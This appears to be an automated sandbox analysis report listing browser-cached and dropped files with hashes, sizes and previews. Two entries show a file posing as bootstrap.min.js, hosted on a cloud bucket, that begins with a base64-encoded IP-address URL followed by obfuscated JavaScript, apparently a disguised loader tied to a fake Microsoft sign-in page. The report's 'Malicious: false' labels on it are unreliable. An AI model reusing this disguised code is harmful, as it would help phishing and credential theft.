C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Sep 16 18:11:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.989630552817196
Encrypted:	false
SSDEEP:	48:8JdQTU98xsHXidAKZdA1duTeehOuTbbiZUk5OjqehOuTbEy+yT+:8UU8xdTfTbxWOvTbEy7T
MD5:	84DE2A248CB00168CF68384CD0FB5C9C
SHA1:	00FD1F5C688CDD23F16AB5B7AA08526D0CC7AFAF
SHA-256:	F8BF699B41E6E8F35746B635DFDFABA2C6B5FBC4CF7F76256DC53F7846DC83AC
SHA-512:	D8AAEEE8BBD2F2B170890D7C4C88B059A303874CFB3B3B2DBDC92554D373D8D6CE3B2B13829C69769A14FD13AAE88BD50C66CD5DC8E69FDE15977968C68F0B31
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......~2l...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I0YY.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V0Ye.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V0Ye.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V0Ye............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V0Yg............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65459), with CRLF line terminators
Category:	downloaded
Size (bytes):	585812
Entropy (8bit):	4.960625685681459
Encrypted:	false
SSDEEP:	6144:HfrPcgHBDVJA7TwOu9Z8DrlbkEVxEAelYDjEKlYI:HDPO/CZ8DrlbkEVKnlYDjEKlYI
MD5:	2BF21DA2C9F49402A99EF5655A040773
SHA1:	3BB095F09A5A90216905F645E5C217F177217B76
SHA-256:	C2581CAE44A46AF94B69C0964C8D7BE52A6674CF42BBCEDFF90F5A38866E9473
SHA-512:	2FD02F0C9CE2EEA0E77EC130E133F54E0FC4BE4BCF14173B0940684BCAE980595607A7E080BAC1A526A60610CD42BD981BDC0818A8B64C42D3DA3503B0CB7A8C
Malicious:	false
Reputation:	low
URL:	https://1203395472-1323985617.cos.sa-saopaulo.myqcloud.com/bootstrap.min.js
Preview:	var file = "aHR0cDovLzE1Ny4xNzMuMTIwLjE3NC8xMjAzMzk1NDcyL25leHQucGhw";....function _0x3b7b(_0x3f399f,_0x5f569d){var _0x4c7bf2=_0x4ff7();return _0x3b7b=function(_0x1d545c,_0x4bbfde){_0x1d545c=_0x1d545c-(0x4-0x5ec+-0x185-0xa+0x961);var _0x2f961d=_0x4c7bf2[_0x1d545c];return _0x2f961d;},_0x3b7b(_0x3f399f,_0x5f569d);}var _0x42a1b6=_0x3b7b;(function(_0x160719,_0x45afd4){var _0xf48e9=_0x3b7b,_0x513383=_0x160719();while(!![]){try{var _0x39f16d=-parseInt(_0xf48e9(0x1f46))/(-0x1e50x9+0x1-0x155c+0x6670x6)+parseInt(_0xf48e9(0xe4c))/(0x268-0x2+-0x142-0xe+-0xcca0x1)+parseInt(_0xf48e9(0x61b))/(-0x6110x5+0x3e0x67+0x566)+parseInt(_0xf48e9(0x1270))/(0xa1d0x1+0x50e0x6+-0x286d)+-parseInt(_0xf48e9(0x352))/(-0x4ba+0x58a0x3+-0xbdf0x1)(parseInt(_0xf48e9(0x2f2f))/(0xa93-0x2+-0x3e0x4+0x1624))+parseInt(_0xf48e9(0x10f2))/(-0x1816+0x2110x3+0x11ea)+-parseInt(_0xf48e9(0x16cd))/(0x4-0x484+-0x5c6-0x2+0x68c);if(_0x39f16d===_0x45afd4)break;else _0x513383['push'](_0x513383['shift']());}catch(_0x48d2c3

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	dropped
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Reputation:	high, very likely benign file
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65459), with CRLF line terminators
Category:	dropped
Size (bytes):	585812
Entropy (8bit):	4.960625685681459
Encrypted:	false
SSDEEP:	6144:HfrPcgHBDVJA7TwOu9Z8DrlbkEVxEAelYDjEKlYI:HDPO/CZ8DrlbkEVKnlYDjEKlYI
MD5:	2BF21DA2C9F49402A99EF5655A040773
SHA1:	3BB095F09A5A90216905F645E5C217F177217B76
SHA-256:	C2581CAE44A46AF94B69C0964C8D7BE52A6674CF42BBCEDFF90F5A38866E9473
SHA-512:	2FD02F0C9CE2EEA0E77EC130E133F54E0FC4BE4BCF14173B0940684BCAE980595607A7E080BAC1A526A60610CD42BD981BDC0818A8B64C42D3DA3503B0CB7A8C
Malicious:	false
Preview:	var file = "aHR0cDovLzE1Ny4xNzMuMTIwLjE3NC8xMjAzMzk1NDcyL25leHQucGhw";....function _0x3b7b(_0x3f399f,_0x5f569d){var _0x4c7bf2=_0x4ff7();return _0x3b7b=function(_0x1d545c,_0x4bbfde){_0x1d545c=_0x1d545c-(0x4-0x5ec+-0x185-0xa+0x961);var _0x2f961d=_0x4c7bf2[_0x1d545c];return _0x2f961d;},_0x3b7b(_0x3f399f,_0x5f569d);}var _0x42a1b6=_0x3b7b;(function(_0x160719,_0x45afd4){var _0xf48e9=_0x3b7b,_0x513383=_0x160719();while(!![]){try{var _0x39f16d=-parseInt(_0xf48e9(0x1f46))/(-0x1e50x9+0x1-0x155c+0x6670x6)+parseInt(_0xf48e9(0xe4c))/(0x268-0x2+-0x142-0xe+-0xcca0x1)+parseInt(_0xf48e9(0x61b))/(-0x6110x5+0x3e0x67+0x566)+parseInt(_0xf48e9(0x1270))/(0xa1d0x1+0x50e0x6+-0x286d)+-parseInt(_0xf48e9(0x352))/(-0x4ba+0x58a0x3+-0xbdf0x1)(parseInt(_0xf48e9(0x2f2f))/(0xa93-0x2+-0x3e0x4+0x1624))+parseInt(_0xf48e9(0x10f2))/(-0x1816+0x2110x3+0x11ea)+-parseInt(_0xf48e9(0x16cd))/(0x4-0x484+-0x5c6-0x2+0x68c);if(_0x39f16d===_0x45afd4)break;else _0x513383['push'](_0x513383['shift']());}catch(_0x48d2c3

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	dropped
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	dropped
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
URL:	https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	dropped
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
